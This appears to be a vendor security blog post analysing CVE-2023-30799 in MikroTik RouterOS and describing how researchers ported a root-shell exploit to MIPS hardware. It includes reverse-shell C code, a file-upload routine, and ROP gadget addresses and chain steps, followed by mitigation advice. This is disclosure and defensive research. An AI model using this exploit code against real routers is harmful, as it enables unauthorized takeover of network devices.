Go back

Exploiting MikroTik RouterOS Hardware with CVE-2023-30799

Jacob Baines@Junior_Baines

Up until version 6.49.8 (July 20, 2023), MikroTik RouterOS Long-term was vulnerable to CVE-2023-30799. Remote and authenticated attackers can use the vulnerability to get a root shell on the router.

CVE-2023-30799 was first disclosed, without a CVE, in June 2022 at REcon by Margin Research employees, Ian Dupont and Harrison Green. At that time, they released an exploit called FOISted that can obtain a root shell on the RouterOS x86 virtual machine. A CVE was assigned last week (July 19, 2023) when VulnCheck researchers published new exploits that attacked a wider range of MikroTik hardware.

MikroTik has been aware of the issue for some time. In October 2022, they fixed the problem in RouterOS stable (6.49.7). The release notes don’t indicate a security problem was addressed, but this tidbit alludes to the fix:

*) system - improved handling of user policies;

A patch for RouterOS Long-term only arrived after VulnCheck reached out to the vendor. On July 18, VulnCheck found that RouterOS Long-term 6.48.6 (the most recent Long-term at the time) was the second most installed RouterOS version according to Shodan.

Top 10 RouterOS Versions (Shodan on July 18, 2023)

In total, Shodan indexes approximately 500,000 and 900,000 RouterOS systems vulnerable to CVE-2023-30799 via their web and/or Winbox interfaces respectively.

Mikrotik web on Shodan

Which means that the vulnerability could have far reaching effects.

Authentication Required, But Still Dangerous

CVE-2023-30799 does require authentication. In fact, the vulnerability itself is a simple privilege escalation from admin to “super-admin” which results in access to an arbitrary function call. But this vulnerability should not be dismissed because authentication is required. We believe that this is a dangerous vulnerability. Acquiring credentials to RouterOS systems is easier than one might expect.

RouterOS ships with a fully functional “admin” user. Hardening guidance tells administrators to delete the “admin” user, but we know a large number of installations haven’t. We know this because the Winbox authentication scheme is vulnerable to a classic example of observable response discrepancy (CWE-204). During authentication, RouterOS will send a smaller response when the provided username doesn’t exist.

Winbox responses to login attempts

We probed a sample of hosts on Shodan (n=5500) and found that nearly 60% still used the default admin user.

To make matters worse, the default “admin” password is an empty string, and it wasn’t until RouterOS 6.49 (October 2021) that RouterOS started prompting administrators to update blank passwords. Even when an administrator has set a new password, RouterOS doesn’t enforce any restrictions. Administrators are free to set any password they choose, no matter how simple. That’s particularly unfortunate because the system doesn’t offer any brute force protection (except on the SSH interface).

It’s not as if brute force attacks on RouterOS are unheard of, either. There's a RouterOS API brute forcing tool that’s over a decade old. Greynoise shows that RouterOS API brute forcing is incredibly active.

Greynoise RouterOS Bruteforcer Tag

Shodan shows far fewer routers expose their API port (~400,000) compared to the web or Winbox interfaces, so it’s useful to note that web and Winbox brute forcing tools have existed since 2019. Although they became obsolete when MikroTik changed their authentication schemes around RouterOS 6.45.

However, because Margin Research reverse-engineered the newest web interface authentication, we are free to resume brute force activities on that interface once again. To demonstrate that, we quickly threw together a simple dictionary brute force tool that works against RouterOS versions up to the latest 6.x release. Below is a screenshot of the logs from an attacked router. Note that the router saw multiple login attempts every second from the same source.

Brute force login attempts

All of this is to say, RouterOS suffers from a variety of issues that make guessing administrative credentials easier than it should be. We believe CVE-2023-30799 is much easier to exploit than the CVSS vector indicates.

Why Did This Fly Under the Radar?

Margin Research’s FOISted exploit, while well done, only works on the RouterOS x86 virtual machine, which is likely the least deployed version of the software. Perhaps this is what elicited the lackluster response from the vendor. FOISted would have received more attention if it was developed for MikroTik hardware. Successful attacks on hardware are a big deal, because they have widespread real-world applications. Exploiting the x86 VM does not.

To our knowledge, there hasn’t been a public method for obtaining a root shell on MikroTik hardware for quite some time. There were several methods up until RouterOS 6.46 (2019), but they’ve all been stomped out. CVE-2021-41987 was used in the wild for a time (no public exploit), but that’s been fixed for two years now. More recently, during pwn2own, DEVCORE team members popped RouterOS with CVE-2023-32154, but exploitation requires IPv6 to be enabled, and the attacker be on the same network (also no public exploit).

MIPSBE is likely the most popular architecture for MikroTik hardware (although they also have various devices that use MIPSLE, ARM, and PowerPC), so we took on the task of porting the exploit to MIPSBE.

Simplification and Practical Issues

Our first step to porting FOISted was to simplify the exploit. This is a general outline of how FOISted x86 works:

  1. Upload a stage2 executable and a statically linked busybox via FTP.
  2. Craft a ROP Chain:
    a. Using a write primitive, write /flash/rw/disk/stage2 to a predefined memory location.
    b. Calculate addresses of chmod and execl in uclibc using the offsets from close.
    c. chmod(“/flash/rw/disk/stage2”, 777)
    d. execve(“/flash/rw/disk/stage2”, NULL, NULL)
  3. Stage2 makes the uploaded busybox executable
  4. Stage2 creates a bindshell using the uploaded busybox

There is a significant amount of register shuffling in order to achieve all of that. We settled on a far easier approach. We save ourselves a lot of trouble by changing the stage2 executable to a shared object. This allows us to skip chmod, and replace execve with dlopen. dlopen is referenced by the vulnerable binary (/nova/bin/www) so offsets into uclibc don’t have to be calculated. We can execute arbitrary code via dlopen by creating a function with a constructor attribute. Something like this:

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/socket.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)
    chmod("/flash/rw/disk/busybox", 0777);
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr("");
    sa.sin_port = htons(1270);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    char * const argv[] = { "/flash/rw/disk/busybox", "ash", "-i", NULL };
    execve("/flash/rw/disk/busybox", argv, NULL);

With those changes, the x86 exploit is simplified to this:

  1. Upload a stage2 executable and a statically linked busybox via FTP.
  2. Craft a ROP Chain:
    a. Using a write primitive, write /flash/rw/disk/stage2 to a predefined memory location
    b. Call dlopen(“/flash/rw/disk/stage2, 1)
  3. Stage2 makes the uploaded busybox executable
  4. Stage2 creates a bindshell using the uploaded busybox

There are still some issues here, though. The exploit isn’t practical for most real-world scenarios. Specifically:

  1. Most real world targets don’t expose the FTP interface.
  2. A bindshell is typically going to be blocked/filtered and inaccessible.

Both issues are fairly easy to solve. First, the RouterOS web interface allows authenticated users to upload files to a persistent storage area. Nothing is straightforward when it comes to RouterOS, but the file upload logic is fairly reasonable, and we were able to work it into Margin Research’s webfig.py seamlessly.

def upload(self, filename: bytes, data: bytes):
  enc = self.tx.encrypt(filename) + self.tx.encrypt(b'\x20' * 8)
  enc = web_encode(enc)
  packed = self.tracker.pack(enc)
  param = urllib.parse.quote(packed)

  files = {'file': (filename, data)}

  r = requests.post(url = "http://" + self.host + "/jsproxy/upload?" + param, files=files)
  if r.status_code != 200:
    raise ValueError(f'Status code: {r.status_code}')

The bind shell issue is also trivial. We simply changed “stage2” to send out a single reverse shell (see the C code above). This has the added benefit of cleanly exiting when the attacker is done with the reverse shell, which allows www to respawn (and prevents an autosupout.rif from being generated).

Finding a MIPS ROP Chain

Now with a simplified approach, the individual MIPS gadgets become easy to find. The ROP chain is generally reduced to:

  1. Move $sp to attacker controlled data.
  2. Move an attacker controlled filename to $a0.
  3. Call dlopen.

The gadgets can be reliably found in three functions for all the versions of RouterOS we tested (6.40 up to 6.49.6): main, www::Server::get, and loadServlet. First, to move $sp to the attacker controlled data, we can use the epilogue of main:

0x0040acbc <+728>:    lw    ra,1540(sp)
0x0040acc0 <+732>:    lw    s1,1536(sp)
0x0040acc4 <+736>:    lw    s0,1532(sp)
0x0040acc8 <+740>:    move    v0,zero
0x0040accc <+744>:    jr    ra
0x0040acd0 <+748>:    addiu    sp,sp,1544

Then to move an attacker controlled string into $a0 we use the epilogue of www::Server::get:

0x0040c514 <+620>:    addiu    a0,sp,44
0x0040c518 <+624>:    lw    ra,76(sp)
0x0040c51c <+628>:    move    v0,s1
0x0040c520 <+632>:    lw    s4,72(sp)
0x0040c524 <+636>:    lw    s3,68(sp)
0x0040c528 <+640>:    lw    s2,64(sp)
0x0040c52c <+644>:    lw    s1,60(sp)
0x0040c530 <+648>:    lw    s0,56(sp)
0x0040c534 <+652>:    jr    ra
0x0040c538 <+656>:    addiu    sp,sp,80

Finally, to call into dlopen, we opted to use a call via loadServlet instead of calling it directly.

0x00412480 <+344>:    jal    0x4084a0 <dlopen@plt>
0x00412484 <+348>:    addiu    a0,a0,4

Combined, they create a fairly simple ROP chain that results in loading the malicious shared object and sending a reverse shell to the attacker.

Detection and Prevention

As we’ve seen, exploitation of CVE-2023-30799 on hardware turned out to be quite easy. Given RouterOS’ long history of being an APT target, combined with the fact that FOISted was released well over a year ago, we have to assume we aren’t the first group to figure this out.

Under normal circumstances, we’d say detection of exploitation is a good first step to protecting your systems. Unfortunately, detection is nearly impossible. The RouterOS web and Winbox interfaces implement custom encryption schemes that neither Snort or Suricata can decrypt and inspect. Once an attacker is established on the device, they can easily make themselves invisible to the RouterOS UI. Microsoft published a toolset that identifies potential malicious configuration changes, but configuration changes aren’t necessary when the attacker has root access to the system.

The best time to catch the attacker is during brute force attempts (if that approach is used) or when malicious ELF binaries are uploaded to the device. Although neither of those are specific to CVE-2023-30799.

Prevention is the best course of action. There are a few things administrators can do to protect themselves:

  1. Remove MikroTik administrative interfaces from the internet.
  2. Restrict which IP addresses administrators can login from.
  3. Disable the Winbox and the web interfaces. Only use SSH for administration.
  4. Configure SSH to use public/private keys and disable passwords.

Otherwise, administrators should upgrade to 6.49.8 (stable) or the most recent 7.x stable.

About VulnCheck

VulnCheck’s interest in CVE-2023-30799 was the result of cross-team activities. Our Exploit Intelligence team flagged the FOISted exploit, our Initial Access team wrote a new exploit, and our CNA team issued the CVE.

If you are aware of an exploit that lacks an associated CVE, please contact our CNA team to get a CVE assigned. We also encourage you to submit public exploits hosted on GitHub to VulnCheck XDB.

If you are as interested in exploits as we are, register for a VulnCheck account today by clicking “Sign in /Register” and schedule a demo.

In the Spotlight